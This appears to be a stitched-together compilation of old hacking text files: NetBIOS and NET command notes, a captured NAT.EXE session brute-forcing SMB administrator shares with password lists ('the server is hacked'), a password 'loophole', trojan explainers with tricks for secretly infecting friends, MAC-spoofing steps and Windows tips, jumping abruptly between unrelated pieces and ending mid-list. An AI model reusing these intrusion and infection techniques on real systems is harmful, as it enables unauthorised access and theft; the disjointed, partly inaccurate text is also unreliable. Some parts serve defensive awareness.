Computername <00> UNIQUE workstation service name
<00> GROUP domain name
Server <20> UNIQUE Server Service name

Computername <03> UNIQUE Registered by the messenger service. This is the computername
to be added to the LMHOSTS file which is not necessary to use
NAT.EXE but is necessary if you would like to view the remote
computer in Network Neighborhood.
Username <03> Registered by the messenger service.
Domainname <1B> Registers the local computer as the master browser for the domain
Domainname <1C> Registers the computer as a domain controller for the domain
(PDC or BDC)
Domainname <1D> Registers the local client as the local segments master browser
for the domain
Domainname <1E> Registers as a Group NetBIOS Name
Network Monitor Name
Network Monitor Agent
<06> RAS Server
<1F> Net DDE
<21> RAS Client

[8.0.3] Intro to the NET commands

The NET command is a command that admins can execute through a dos window to show information about servers, networks, shares, and connections. It also has a number of command options that you can use to add user accounts and groups, change domain settings, and configure shares. In this section, you will learn about these NET commands, and you will also have the outline to a NET command Batch file that can be used as a primitive network security analysis tool. Before we continue on with the techniques, a discussion of the available options will come first:

[8.0.4] Net Accounts: This command shows current settings for password, logon limitations, and domain information. It also contains options for updating the User accounts database and modifying password and logon requirements.

[8.0.5] Net Computer: This adds or deletes computers from a domains database.

[8.0.6] Net Config Server or Net Config Workstation: Displays config info about the server service. When used without specifying Server or Workstation, the command displays a list of configurable services.

[8.0.7] Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.

[8.0.8] Net File: This command lists the open files on a server and has options for closing shared files and removing file locks.

[8.0.9] Net Group: This displays information about group names and has options you can use to add or modify global groups on servers.

[8.1.0] Net Help: Help with these commands

[8.1.1] Net Helpmsg message#: Get help with a particular net error or function message.

[8.1.2] Net Localgroup: Use this to list local groups on servers. You can also modify those groups.

[8.1.3] Net Name: This command shows the names of computers and users to which messages are sent on the computer.

[8.1.4] Net Pause: Use this command to suspend a certain NT service.

[8.1.5] Net Print: Displays print jobs and shared queues.

[8.1.6] Net Send: Use this command to send messages to other users, computers, or messaging names on the network.

[8.1.7] Net Session: Shows information about current sessions. Also has commands for disconnecting certain sessions.

[8.1.8] Net Share: Use this command to list information about all resources being shared on a computer. This command is also used to create network shares.

[8.1.9] Net Statistics Server or Workstation: Shows the statistics log.

[8.2.0] Net Stop: Stops NT services, cancelling any connections the service is using. Let it be known that stopping one service, may stop other services.

[8.2.1] Net Time: This command is used to display or set the time for a computer or domain.

[8.2.2] Net Use: This displays a list of connected computers and has options for connecting to and disconnecting from shared resources.

[8.2.3] Net User: This command will display a list of user accounts for the computer, and has options for creating a modifying those accounts.

[8.2.4] Net View: This command displays a list of resources being shared on a computer. Including netware servers.

[8.2.5] Special note on DOS and older Windows Machines: The commands listed above are available to Windows NT Servers and Workstation, DOS and older Windows clients have these NET commands available:

Net Config
Net Diag (runs the diagnostic program)
Net Help
Net Init (loads protocol and network adapter drivers.)
Net Logoff
Net Logon
Net Password (changes password)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver (displays the type and version of the network redirector)
Net View

For this section, the command being used is the NET VIEW and NET USE commands.

[8.2.6] Actual NET VIEW and NET USE Screen Captures during a hack.

C:\net view XXX.XX.XXX.XX

Shared resources at XXX.XX.XXX.XX

Share name Type Used as Comment

------------------------------------------------------------------------------
NETLOGON Disk Logon server share
Test Disk
The command completed successfully.

NOTE: The C$ ADMIN$ and IPC$ are hidden and are not shown.

C:\net use /?

The syntax of this command is:

NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE [devicename | *] [password | *]] [/HOME]

NET USE [/PERSISTENT:{YES | NO}]

C:\net use x: \\XXX.XX.XXX.XX\test

The command completed successfully.

C:\unzipped\nat10bin>net use

New connections will be remembered.

Status Local Remote Network

-------------------------------------------------------------------------------
OK X: \\XXX.XX.XXX.XX\test Microsoft Windows Network
OK \\XXX.XX.XXX.XX\test Microsoft Windows Network

The command completed successfully.

Here is an actual example of how the NAT.EXE program is used. The information listed here is an actual capture of the activity. The IP addresses have been changed to protect, well, us.

C:\nat -o output.txt -u userlist.txt -p passlist.txt XXX.XX.XX.XX-YYY.YY.YYY.YY

[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt

[*]--- Checking host: XXX.XX.XXX.XX
[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Mon Dec 01 07:44:34 1997
[*]--- Timezone is UTC-6.0
[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'

[*]--- Obtained server information:

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

[*]--- Obtained listing of shares:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
Test Disk:

[*]--- This machine has a browse list:

Server Comment
--------- -------
STUDENT1

[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test
[*]--- WARNING: Able to access share: \\*SMBSERVER\Test
[*]--- Checking write access in: \\*SMBSERVER\Test
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access

If the default share of Everyone/Full Control is active, then you are done, the server is hacked. If not, keep playing. You will be surprised what you find

Windows Password Loophole

a. ok now, what you need to do is to run compmgmt.msc

b. and click on local users and groups.

c. once you've gotten here you need to open up the 'users' folder.

at this point i am walking along with you and notice that there are several
major security holes dealing specifically with the password:
1. double clicking on the any user name allows you a list that looks
something like this:
"user name"

full name: -----------------------
|__________________|

description: -----------------------
|__________________|
--
|_| user must change password at next logon

--
|_| user cannot change password

--
|/| password never expires

--
|_| account is disabled

--
|_| account is locked out

"ok" "cancel" "apply"

ok if you can get past my cheesy drawing, i must ask, did you notice that
the "password never expires" box is checked? if you did, then you may have
realized that this means that you can also uncheck it!

2. if ure paying attention, you'll see that the 'user must change password
at next logon' box is unchecked. if you put a check in this box of course,
when you shut down the system will prompt for a new password!

3. going back to step c.,
right click on any account and notice the dialoge that appears:
set password...
all tasks
delete
rename
properties
help

i think you can handle it from here

ps. i wonder if you can access this data if this stuff is locked to the user
by the admin by going in through the command prompt. i doubt it but if neone
finds a way let me know.

trojan explain

1.What is this text about?
/=-=-=-=-=-=-=-=-=-=-=-=-=-=/
In this text I'm going to explain you interesting things about
the trojans and about their future.I hope you'll realize that
trojans are dangerous and they're still big security problem although
many people say don't download files from the net and you won't get
infected which is not right.The main thing I want to explain here is
do the trojans have future and other interesting things about them.
This text is only for Windows based trojans not Unix one.
=-=-=-=-=-=-=-=-=-=-=-=-=-=

2.What Is A Trojan Horse?
/=-=-=-=-=-=-=-=-=-=-=-=-=/

A trojan horse is
-An unauthorized program contained within a legitimate program. This unauthorized
program performs functions unknown (and probably unwanted) by the user.

-A legitimate program that has been altered by the placement of
unauthorized code within it; this code performs functions unknown
(and probably unwanted) by the user.

-Any program that appears to perform a desirable and necessary
function but that (because of unauthorized code
within it that is unknown to the user) performs functions unknown
(and probably unwanted) by the user.

Trojans can also be called RAT's, or Remote Administration Tools.
The trojan got it's name from the old mythical story about how the greeks during
the war, gave their enemy a huge wooden horse as a gift.
They accepted this gift and they brought into their kingdom,
and during the night, greek soldiers crept out of the horse and attacked the city,
completely overcoming it.

3.Trojans Today
/=-=-=-=-=-=-=-=/
Trojans has always been big security problem even today.Most of the people
don't know what a trojan is and they keep downloading files from untrusted
sources or from suspicious people.Today there are more than 600 trojans on
the net that I know but I think there are many many more.Because every hacker or
programer today have it's own trojan made for his/her special needs and not
published anywhere.Every hacking group has also it's own trojans and programs.
When someone start learning winsock the first creating is chat client or trojan
horse.Even the anti-virus scanners I'll talk below people still get infected
by themselves,by some hacker or by some of your friends.
----------------------->

4.The Future Of Trojans
=-=-=-=-=-=-=-=-=-=-=-=-=
I think there're a lot of people out there that think the
trojans are outdated and they don't have future.Well I don't
think so.Trojans will always have future and new things added in
them.There are so many things that can be improved by skilled programers
in the trojans.
Trojans that COMPLETELY hide in the system and of course restart every time Windows is loaded
trojans that will lie every trojan and anti-virus program this is the future I think.
People that program trojans has a lot of ideas that makes their trojans unique.
These people start placing backdoors in ActiveX and who knows maybe in future they'll
find other sources they can place the trojans in.Programmers will always think of
new and unique trojans with functions never seen before.
Trojans are made every day by the programers with new options and with better encryption so
the Anti-Trojan software can't detect them.So noone knows how many are the trojans on the net.
But the programmers are still programming trojans and they will continue in the future.
Technically, a trojan could appear almost anywhere, on any operating system or platform.
However, with the exception of the inside job mentioned previously, the spread of trojans works
very much like the spread of viruses. Software downloaded from the Internet, especially shareware or freeware,
is always suspect. Similarly, materials downloaded from underground servers
or Usenet newsgroups are also candidates.There are thousand of programs with not checked
source and new programs are appearing every day especially the freeware one so they can all be
trojans.So be careful what you're downloading and from where you're downloading it.
Always download software from the official page.
----------------------------->

5.Anti-Virus Scanners
/=-=-=-=-=-=-=-=-=-=-=-=/
People think that when they have a virus scanner with the latest virus definitions
they're secure on the net and they can't get infected with a trojan or noone can
have access to their computer.This is NOT right.The purpose of the anti-virus
scanners is to detect not trojans but viruses.But when trojans became popular
the scanners started adding also trojan definitions.These scanners just can't
find the trojans and analyze them that's why they're just detecting the common
and the well know from everyone trojans like Back Orifice and NetBus and also
several other.As I told they're around 600 trojans I know out there and the
anti-virus scanners are detecting just a LITTLE part of them.
These scanners are not firewalls that will stop someone that want to connect
to your computer or try to attack you as people think they are.So I hope that
you understand that the main purpose of these scanners is not to detect
trojans and protect you while you're online.
Most of the internet users know only Back Orifice and NetBus as trojans.
There are some specific tools out there that clean ONLY from these trojans.
Again people think that they're secure and protected from every trojan.
--------------------------->

6.How Can I get Infected?
/=-=-=-=-=-=-=-=-=-=-=-=-=-=/
Everyone ask this question and often people ask themselves how they got
infected.Also when someone ask them did they run some file send to them
by someone or downloaded from somewhere people always say they didn't
run anything or download some file but they did it.People just don't
pay attention to things they do online and that's why they forget
about the moment of the infection with the trojan.
You can get infected from many places and I'll try to explain
you these things here.

6.1 From ICQ
6.2 From IRC
6.3 From Attachment
6.4 Physical Access
6.5 Tricks-diskette

6.1 From ICQ

People think that they can't infect while they're talking via ICQ
but they just forget the moment when someone sends them a file.
Everyone knows how insecure ICQ is and that's why some people
are afraid of using it.

As you maybe know there's a bug in ICQ allowing you to send a .exe
file to someone but it will look as .bmp or .jpg or whatever you want
it to look like.This is very dangerous as you see and can get you in
trouble.The attacker will just change the icon of the file like
a BMP image,tell you it's a pic of him,rename it to photo.bmp
then you'll get it and of course before getting it you'll see that
it's .bmp and you're secure because the file is not executable.
Then you run it see the picture and you think there's nothing to
worry about but there is.

That's why most of the people say that they didn't run any files
because they know that they've run an image not executable.
A way to prevent this bug in ICQ is always to check the type of
the file before running it.It may has an BMP icon but if at the type
of the file is written executable I thin you know that it will be
mistake if you run that file.

6.2 From IRC

You can also get infected from IRC by receiving files from
untrusted sources.But I advice you always to be paranoid
and do not receive files from ANYONE even from your best
friend because someone may stolen his/her password
and infect you.Some people think that they can be 100% sure
that the other person is their friend when they ask him/her
something like a secret or something else that only he/she know
but as I told you be paranoid because someone may infect your friend
and just check his/her IRC logs and see what is this secret about or
learn other things.Be paranoid it's more secure as I say and do not
receive files from anyone on IRC or from somewhere else like
e-mail,ICQ or even your online friends.

6.3 From Attachment

The same thing goes about the e-mail attachments.NEVER run anything
even if it says you'll see hot porno or some passwords for server or
anything else.The best way to infect someone with a trojan is mass
e-mailing the server because there're new people on the net and
they'll of course get infected.This is the best way of infecting
as I said that's why it's preferred by the people that want to infect
the masses.

6.4 Physical Access

You can of course get infected by some of your "friends" when they
have physical access to your computer.Let's suppose you leave
someone on your computer just for 5 minutes,then of course you can
get infected by one of your "friends".There are some very smart people
out there that keep thinking of new ways of getting physical access
to someone's computer.Here are some tricks that are interesting:

1.You "friend" may ask you "Hey bro can you give me some water"
or something that will leave him alone.You'll go to take some
water and then........You know

2.The attacker may have a plan.Let's say you invited him/her
at 12:00 at your home and that attacker told one of your
"friends" to call the victim at 12:15 and start talking
about something with the victim.The attacker again have time
to infect you.
Also the "friend" that is calling you may say something like
"Is there anyone around you,if so move somewhere
else I don't want anyone to hear what we are talking about"
The attacker is again alone and have time to infect you.

6.5 Trick

This is one trick that may work on people that really
want something and the attacker knows what is it.
Let's say that the victim wants to watch some porno
or want xxx passwords,then attacker can just leave
a diskette with the trojan in the front of the victim's
house and put the trojan with some xxx pics of course.

This is bad things because sometimes if you really want
something and you finally found it you don't think about
anything else except to check it you.You again get infected.

I hope now you understand how you got infected the last time
(if you got infected of course).
----------------------------------->

7.How dangerous a trojan can be?
/=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=/

Many people that don't know what a trojan is
think that when they run an executable nothing
happened because their computer is still working
and all the data is there,if it was a virus
their data will be damaged and their computer will
stop working.

Someone is downloading and uploading files on your
computer.
Someone is reading all of your IRC logs and learning
interesting things about you and your friends.
Someone is reading ALL of your ICQ messages.
Someone is deleting files on your computer.

These are some examples how dangerous a trojan can be.
There people that use trojans just to place virus
on the infected machine like CIH and destroy the machine.
--------------------------->

8.Different Kinds Of Trojans
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Remote Access Trojans
-------------------------------

These trojans are the most popular trojans now.
Everyone wants to have such trojan because he
or she want to have access to their victim's hard drive.
The RAT'S (remote access trojans)are very
simple to use.Just make someone run the server
and you get the victim's IP and you have FULL
access to his or her computer.They you can
almost everything it depends of the trojan you use.
But the RAT'S have the common remote access trojan functions like:
keylogger,upload and download function,
make a screen shot and so on.Some people use the
trojans for malicious purposes.
They want just to delete and delete.This is lame.But a have a guide
about the best way to use a trojan.You should read it.
There are many programs out there
that detects the most common trojans,but new trojans are
coming every day and these programs are not the maximum defense.
The trojans do always the same things.
If the trojan restart every time Windows is loaded that
means it put something in the registry
or in win.ini or in other system file so the trojan can restart.
Also the trojans create some file in
the WINDOWS\SYSTEM directory.The file is always looking
to be something that the victim will think
is a normal WINDOWS executable.Most trojans hide
from the Alt+Ctrl+Del menu.This is not
good because there are people who use only this way to see
which process are running.There are programs
that will tell me you exactly the process and the
file from where it comes.Yeah but some trojans
as I told you use fake names and it's a little hard
for some people to understand which process
should they kill.The remote access trojans opens
a port on your computer letting everyone to connect.
Some trojans has options like change the port
and put a password so only the guy that infect you
will be able to use the computer.The change
port option is very good because I'm sure you
don't want your victim to see that port 31337 is open
on their computer.Remote access trojans are
appearing every day and they will continue to appear.
For those that use such trojans: BE CAREFUL
you can infect yourself and they the victim you
wanted to destroy will revenge and you'll be sorry.
---------------------------------------
Password Sending Trojans

The purpose of these trojans is to rip all cached
passwords and send them to specified e-mail
without letting the victim about the e-mail.
Most of these trojans don't restart every time Windows
is loaded and most of them use port 25 to
send the e-mail.There are such trojans that e-mail
other information too like ICQ number
computer info and so on.These trojans are dangerous if
you have any passwords cached anywhere on your computer.
----------------------------------------
Keyloggers

These trojans are very simple.The only one thing
they do is to log the keys that the victim is pressing
and then check for passwords in the log file.
In the most cases these trojans restart every
time Windows is loaded.They have options
like online and offline recording.In the online recording
they know that the victim is online and
they record everything.But in the offline recording
everything written after Windows start is
recorded and saved on the victims disk waiting for
to be transferred.
----------------------------------------
Destructive

The only one function of these trojans is to
destroy and delete files.This makes them very simple
and easy to use.They can automatically
delete all your .dll or .ini or .exe files on your computer.
These are very dangerous trojans and once
you're infected be sure if you don't disinfect your
computer information will no longer exist.
-----------------------------------------
FTP trojans

These trojans open port 21 on your computer
letting EVERYONE that has a FTP client to connect
to your computer without password and will full upload and download options.

These are the most common trojans.They all are dangerous
and you should me careful using them.
-------------------------------------->

9.Who Can Infect You?
/=-=-=-=-=-=-=-=-=-=-=/

Well basically you can get infected by everyone that know how
to use a trojan(it's VERY easy) and of course know how to infect you.
People that use trojans are wannabe hackers that are just at the stage
of using trojans.Some of these people don't move to the next stage
and they're lamers that can only use trojans and as I said it's VERY easy.
But after reading this text you'll know the most common ways that someone
can infect you with a trojan and it will be hard for the people using them
to infect you.
------------------------>

10.What Is The Attacker Looking For?
/=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=/

Some of you may think that trojans are used for damage only.
Well they can also be used to spy on someone's machine and
take a lot of private information from it.Wellthe common data an attacker looks
for would include but not limit to the following.

-----> Credit Card Information
-----> Credit Information
-----> Checking Account Information
-----> Any accounting data
-----> Data bases
-----> Mailing Lists
-----> Personal Addresses
-----> Email Addresses
-----> Account Passwords
-----> Home Office / Small Business Information
-----> Company Accounts / Subscribed for Services
-----> Resumes
-----> Email
-----> Any Company Information / Services He Can Access
-----> Your or spouse's first and last name
-----> Children's names / ages
-----> Your address
-----> Your telephone number
-----> Letters you write to people
-----> Email
-----> Your personal resume
-----> Your family pictures
-----> School work
-----> Any school accounts / information

Trojan Trojan !! What is it ?

Trojan ( bad ) Beware !!

Its All Explained Here

Trojan horse well this term has many meanings .
In the context of computer software, a Trojan horse is a malicious program that is disguised as or embedded within legitimate software. The term is derived from the classical myth of the Trojan Horse. They may look useful or interesting (or at the very least harmless) to an unsuspecting user, but are actually harmful when executed.

Often the term is shortened to simply Trojan, even though this turns the adjective into a noun, reversing the myth (Greeks were gaining malicious access, not Trojans).

There are two common types of Trojan horses.

One, is otherwise useful software that has been corrupted by a cracker inserting malicious code that executes while the program is used. Examples include various implementations of weather alerting programs, computer clock setting software, and peer to peer file sharing utilities.

The other type is a standalone program that masquerades as something else, like a game or image file, in order to trick the user into some misdirected complicity that is needed to carry out the program's objectives.

for more info Click Here

Trojan horse programs cannot operate autonomously, in contrast to some other types of malware, like viruses or worms. Just as the Greeks needed the Trojans to bring the horse inside for their plan to work, Trojan horse programs depend on actions by the intended victims. As such, if trojans replicate and even distribute themselves, each new victim must run the program/trojan. Therefore their virulence is of a different nature, depending on successful implementation of social engineering concepts rather than flaws in a computer system's security design or configuration.
Definition

A Trojan horse program has a useful and desired function, or at least it has the appearance of having such. Trojans use false and fake names to trick users into dismissing the processes. These strategies are often collectively termed social engineering. In most cases the program performs other, undesired functions, but not always. The useful, or seemingly useful, functions serve as camouflage for these undesired functions. A trojan is designed to operate with functions unknown to the victim. The kind of undesired functions are not part of the definition of a Trojan Horse; they can be of any kind, but typically they have malicious intent.

In practice, Trojan Horses in the wild often contain spying functions (such as a packet sniffer) or backdoor functions that allow a computer, unknown to the owner, to be remotely controlled from the network, creating a "zombie computer". The Sony/BMG rootkit Trojan, distributed on millions of music CDs through 2005, did both of these things. Because Trojan horses often have these harmful behaviors, there often arises the misunderstanding that such functions define a Trojan Horse.

In the context of Computer Security, the term 'Trojan horse' was first used in a seminal report edited/written by JP Anderson (aka 'The Anderson Report' (Computer Security Technology Planning, Technical Report ESD-TR-73-51, USAF Electronic Sysstem Division, Hanscom AFB, Oct, 1972), which credits Daniel J Edwards then of NSA for both the coinage and the concept. One of the earliest known Trojans was a binary Trojan distributed in the binary Multics distribution; it was described by PA Karger and RR Schell in 1974 (Multics Security Evaluation, Technical Report ESD-TR-74-193 vol II, HQ Electronic Systems Division, Hanscom AFB, June 1974).

The basic difference from computer viruses is that a Trojan horse is technically a normal computer program and does not possess the means to spread itself. The earliest known Trojan horses were not designed to spread themselves. They relied on fooling people to allow the program to perform actions that they would otherwise not have voluntarily performed.

Trojans implementing backdoors typically setup a hidden server, from which a hacker with a client can then log on to. They have become polymorphic, process injecting, prevention disabling, easy to use without authorization, and therefore are abusive.

Trojans of recent times also come as computer worm payloads. It is important to note that the defining characteristics of Trojans are that they require some user interaction, and cannot function entirely on their own nor do they self-propagate/replicate.

Examples

Example of a simple Trojan horse

A simple example of a trojan horse would be a program named "waterfalls.scr.exe" claiming to be a free waterfall screensaver which, when run, instead begins erasing all the files on the computer.

Example of a somewhat advanced Trojan horse

On the Microsoft Windows platform, an attacker might attach a Trojan horse with an innocent-looking filename to an email message which entices the recipient into opening the file. The Trojan horse itself would typically be a Windows executable program file, and thus must have an executable filename extension such as .exe, .com, .scr, .bat, or .pif. Since Windows is sometimes configured by default to hide filename extensions from a user, the Trojan horse is an extension that might be "masked" by giving it a name such as 'Readme.txt.exe'. With file extensions hidden, the user would only see 'Readme.txt' and could mistake it for a harmless text file. Icons can also be chosen to imitate the icon associated with a different and benign program, or file type.

When the recipient double-clicks on the attachment, the Trojan horse might superficially do what the user expects it to do (open a text file, for example), so as to keep the victim unaware of its real, concealed, objectives. Meanwhile, it might discreetly modify or delete files, change the configuration of the computer, or even use the computer as a base from which to attack local or other networks - possibly joining many other similarly infected computers as part of a distributed denial-of-service attack. The Sony/BMG rootkit mentioned above both installed a vulnerability on victim computers, but also acted as spyware, reporting back to a central server from time to time, when any of the music CDs carrying it were played on a Windows computer system.

Types of Trojan horses

Trojan horses are almost always designed to do various harmful things, but could be harmless. Examples are
erasing or overwriting data on a computer.
encrypting files in a cryptoviral extortion attack.
corrupting files in a subtle way.
upload and download files.
allowing remote access to the victim's computer. This is called a RAT. (remote administration tool)
spreading other malware, such as viruses. In this case the Trojan horse is called a 'dropper' or 'vector'.
setting up networks of zombie computers in order to launch DDoS attacks or send spam.
spying on the user of a computer and covertly reporting data like browsing habits to other people (see the article on spyware).
make screenshots.
logging keystrokes to steal information such as passwords and credit card numbers (also known as a keylogger).
phish for bank or other account details, which can be used for criminal activities.
installing a backdoor on a computer system.
opening and closing CD-ROM tray

Time bombs and logic bombs

"Time bombs" and "logic bombs" are types of trojan horses.

"Time bombs" activate on particular dates and/or times. "Logic bombs" activate on certain conditions met by the computer.

Precautions against Trojan horses

Trojan horses can be protected against through end user awareness. Trojan Horse viruses can cause a great deal of damage to a personal computer but even more damaging is what they can do to a business, particularly a small business that usually does not have the same virus protection capabilities as a large business. Since a Trojan Horse virus is hidden it is harder to protect yourself or your company from them but there are things that you can do.

Trojan Horses are most commonly spread through an e-mail, much like other types of common viruses. The only difference being of course is that a Trojan Horse is hidden. The best ways to protect yourself and your company from Trojan Horses are as follows:

1. If you receive e-mail from someone that you do not know or you receive an unknown attachment never open it right away. As an e-mail use you should confirm the source. Some hackers have the ability to steal an address books so if you see e-mail from someone you know that does not necessarily make it safe.

2. When setting up your e-mail client make sure that you have the settings so that attachments do not open automatically. Some e-mail clients come ready with an anti-virus program that scans any attachments before they are opened. If your client does not come with this it would be best to purchase on or download one for free.

3. Make sure your computer has an anti-virus program on it and make sure you update it regularly. If you have an auto-update option included in your anti-virus program you should turn it on, that way if you forget to update your software you can still be protected from threats

4. Operating systems offer patches to protect their users from certain threats and viruses, including Trojan Horses. Software developers like Microsoft offer patches that in a sense “close the hole” that the Trojan horse or other virus would use to get through to your system. If you keep your system updated with these patches your computer is kept much safer.

5. Avoid using peer-2-peer or P2P sharing networks like Kazaa , Limewire, Ares, or Gnutella because those programs are generally unprotected from viruses and Trojan Horse viruses are especially easy to spread through these programs. Some of these programs do offer some virus protection but often they are not strong enough.

Besides these sensible precautions, one can also install anti-trojan software, some of which are offered free.

Methods of Infection

The majority of trojan horse infections occur because the user was tricked into running an infected program. This is why you're not supposed to open unexpected attachments on emails -- the program is often a cute animation or a sexy picture, but behind the scenes it infects the computer with a trojan or worm. The infected program doesn't have to arrive via email, though; it can be sent to you in an Instant Message, downloaded from a Web site or by FTP, or even delivered on a CD or floppy disk. (Physical delivery is uncommon, but if you were the specific target of an attack, it would be a fairly reliable way to infect your computer.) Furthermore, an infected program could come from someone who sits down at your computer and loads it manually.

Websites: You can be infected by visiting a rogue website. Internet Explorer is most often targeted by makers of trojans and other pests, because it contains numerous bugs, some of which improperly handle data (such as HTML or images) by executing it as a legitimate program. (Attackers who find such vulnerabilities can then specially craft a bit of malformed data so that it contains a valid program to do their bidding.) The more "features" a web browser has (for example ActiveX objects, and some older versions of Flash or Java), the higher your risk of having security holes that can be exploited by a trojan horse.

Email: If you use Microsoft Outlook, you're vulnerable to many of the same problems that Internet Explorer has, even if you don't use IE directly. The same vulnerabilities exist since Outlook allows email to contain HTML and images (and actually uses much of the same code to process these as Internet Explorer). Furthermore, an infected file can be included as an attachment. In some cases, an infected email will infect your system the moment it is opened in Outlook -- you don't even have to run the infected attachment.

For this reason, using Outlook lowers your security substantially.

Open ports: Computers running their own servers (HTTP, FTP, or SMTP, for example), allowing Windows file sharing, or running programs that provide filesharing capabilities such as Instant Messengers (AOL's AIM, MSN Messenger, etc.) may have vulnerabilities similar to those described above. These programs and services may open a network port giving attackers a means for interacting with these programs from anywhere on the Internet. Vulnerabilities allowing unauthorized remote entry are regularly found in such programs, so they should be avoided or properly secured.

A firewall may be used to limit access to open ports. Firewalls are widely used in practice, and they help to mitigate the problem of remote trojan insertion via open ports, but they are not a totally impenetrable solution, either.

Ip Address Hack Contd

Ip Address Hack Contd

Changing your MAC on Windows XP

There are two ways two change your IP on Windows. The easy way, and the hard way. Ill discuss how to do both of them in this tutorial.

Easy Way:

The first way to change it is, if your NIC (Network Interface Card) supports cloning your MAC Address. If this is the case then you go to.

Start > Control Panel > Network Connections

Right Click on your NIC card and goto properties. Then click the button labeled Configure. It should bring up another form. Click on the advanced tab. You should see under Property "Locally Administered Address" or "Network Address". Click the radio button next to the text box, and type in your new MAC address. (note you do not use the "-" when you enter your no MAC Address.

To check and see if it worked or not go to

Start > Run > and type in "cmd"

When the terminal comes up issue the command.

ipconfig /all
-----------------------------------------------------------------------------------------------------------------------------------------------

Hard Way:

To change your MAC Address the hard way, you first go to

Start > Run > and type in "cmd"

Once the terminal comes up type in

"net config rdr"

It should bring up alot of things, but what you are worried about is

NetBT_Tcpip_{ The Numbers Between here}

Copy the numbers in between there and write it down somewhere, seeing that you will need them later.

After you are done with that go to

Start > Run > and type in "regedt32"

That should bring up the windows registry. Once the registry is up go to

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}

Click on the drop down menu and you should see the sub-categories

0000
0001
0002
and so on.

Click on each one and compare the "NetCfgInstanceId" Key with the number you wrote down earlier. Once you find a match double click on the key "NetworkAddress" and change the value to your new MAC address. Hit ok and reboot your system.

There r several ways u can determine ur IP address information:

IPCONFIG

Start / Run / cmd
IPCONFIG /ALL
This opens a command window. One advantage is that u can send the information to a text file (IPCONFIG /ALL > c:\ip.txt)
But sometimes the window shows show much information u need to scroll around to fine it.

VIEW STATUS

Control Panel / Network Connections / Double click the icons 4 ur network (If the network has an icon in the system tray u can also just double click on that icon)
Click on the Support tab
Click on the Details button
:::::::::::::
Make Pictures Smaller Unavailable

When u try nd send pictures through e-mail, u should normally be given the option to make them smaller.
If this option is not available, a DLL file may need to be registered.

Start
Run
regsvr32 shimgvw.dll
:::::::::::::
Creating a Suspend Shortcut

If u would like to create an icon to suspend ur computer,

Right click on the Desktop
New / Shortcut
Enter in rundll32.exe PowrProf.dll, SetSuspendState
Give it whatever name u want
Now when u click on that shortcut, ur computer will shutdown nd suspend
Submitted by Gabe
:::::::::::::
Changing the User Type

Normally in XP Pro, through the Control Panel / User Accounts icon, u r only allowed to create administrators or limited users.
If u want to create

Right click on My Computer
Manage
Local Users nd Groups
Users
Right click on the user u want to change
Properties
Member of tab
Add button
Advanced button
Find Now button
From here u see the full list of possibilities (e.g. Power User, Backup Operator etc.)
:::::::::::::

some more
Determining Which Services r Associated with SVCHOST

Since so many critical services r run with each svchost,
You can see which ones r being used by opening a cmd prompt nd running:

tasklist /svc /fi "imagename eq svchost.exe"

Note: This is available only with XP Pro
:::::::::::::
Identify Faulty Device Drivers

If u r having problems with lockups, blue screens, or can only get to safe mode,
often the problem is due to a faulty device driver.

One way to help identify them is through the use of the Verfier program

Start / Run / Verifier
Keep the default of Create Standard Settings
Select the type of drivers u want to confirm
A list of drivers to be verified on the next boot will be shown.
Reboot
If ur computer stops with a blue screen, u should get an error message with the problem driver
To turn off the Verifier, run verifier /reset
:::::::::::::
Viewing Installed Drivers

If u want to see a list of installed drivers, u can run the driverquery program
There r a lot of available switches to view different types of information.
On use can be to export to a CSV file 4 viewing in Excel
An example would then be:

Driverquery /v /fo csv > drivers.csv

Port names

Port names
Port are divided into three ranges: the Common Ports, the Registered Ports, and Private Ports.

The Common Ports are those from 0 through 1023.
The Registered Ports are those from 1024 through 49151
The Private Ports are those from 49152 through 65535

Common Ports
The Common Ports are assigned by the IANA and on most systems can only be used by system (or root) processes or by programs executed by privileged users.
